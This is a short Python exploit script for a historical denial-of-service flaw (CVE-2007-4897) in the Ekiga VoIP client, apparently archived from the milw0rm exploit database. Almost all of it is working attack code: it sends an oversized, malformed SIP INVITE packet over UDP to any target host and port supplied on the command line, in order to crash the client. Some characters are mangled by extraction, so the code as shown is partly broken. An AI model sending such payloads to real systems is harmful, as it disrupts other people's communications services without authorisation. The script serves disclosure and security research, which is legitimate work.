1 #!/usr/bin/env python
2 #
3 # Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE−2007−4897)
4 #
5 # ekiga207_dos.py by Jose Miguel Esparza
6 # 2007−09−11 S21sec labs
7
8 import sys,socket
9
10 if len(sys.argv) != 3:
11
sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
12 target = sys.argv[1]
13 targetPort = int(sys.argv[2])
14 malformedRequest = "INVITE "+’A’*1005+" SIP/2.0\r\n"+\
15
"Call−ID:f81d4fae−7dec−11d0−a765−00a0c91e6bf6@foo.bar.com\r\n"+\
16
"Contact:sip:pepe@172.91.1.133:5060\r\n"+\
17
"Content−Length:417\r\n"+\
18
"Content−Type:application/sdp\r\n"+\
19
"CSeq:4321 INVITE\r\n"+\
20
"From:sip:pepe@172.91.1.148:5060;tag=a48s\r\n"+\
21
"Max−Forwards:70\r\n"+\
22 "To:sip:paco@micasa.com\r\n"+\
23 "Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"
24
25 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
26 s.connect((target,targetPort))
27 s.sendall(malformedRequest)
28 s.close()
29
30 # milw0rm.com [2009−07−24]
Page 1/1
Ekiga 2.0.5 GetHostAddress Remote Denial of Service Exploit
Jose Miguel Esparza
07/24/2009